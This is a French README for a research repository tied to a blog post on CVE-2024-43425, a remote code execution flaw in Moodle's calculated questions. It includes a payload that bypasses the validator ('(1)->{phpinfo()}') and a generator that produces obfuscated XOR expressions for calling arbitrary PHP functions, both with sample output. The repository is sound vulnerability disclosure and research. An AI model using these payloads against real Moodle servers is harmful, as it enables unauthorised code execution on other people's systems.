
Scripts pour l'analyse d'une RCE dans les questions calculées de Moodle (CVE-2024-43425)
Ce dépôt contient les scripts d'accompagnement de l'article de blog Back to School - Exploitation d'une vulnérabilité d'exécution de code à distance dans Moodle, qui décrit une vulnérabilité d'exécution de code à distance dans la plateforme d'apprentissage Moodle.
Les scripts du répertoire validation peuvent être utilisés pour tester directement des chaînes d'entrée par rapport à la logique de validation utilisée par Moodle pour empêcher l'abus d'un appel à PHP eval().
Tous les extraits de code ont été directement adaptés du code source de Moodle, en utilisant la version 4.4.1 pour la version vulnérable et la 4.4.2 pour la version corrigée.
Les scripts incluent les parties pertinentes du fichier question/type/calculated/questiontype.php.
Le fichier validation.php utilise la logique de validation vulnérable :
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
Ce dépôt inclut également la version corrigée du code de validation dans validation-fixed.php :
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
Le script xor-generator.py peut être utilisé pour générer des expressions basées sur des fonctions variables, qui permettent d'appeler des fonctions PHP arbitraires avec un seul paramètre numérique dans les versions vulnérables de Moodle :
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test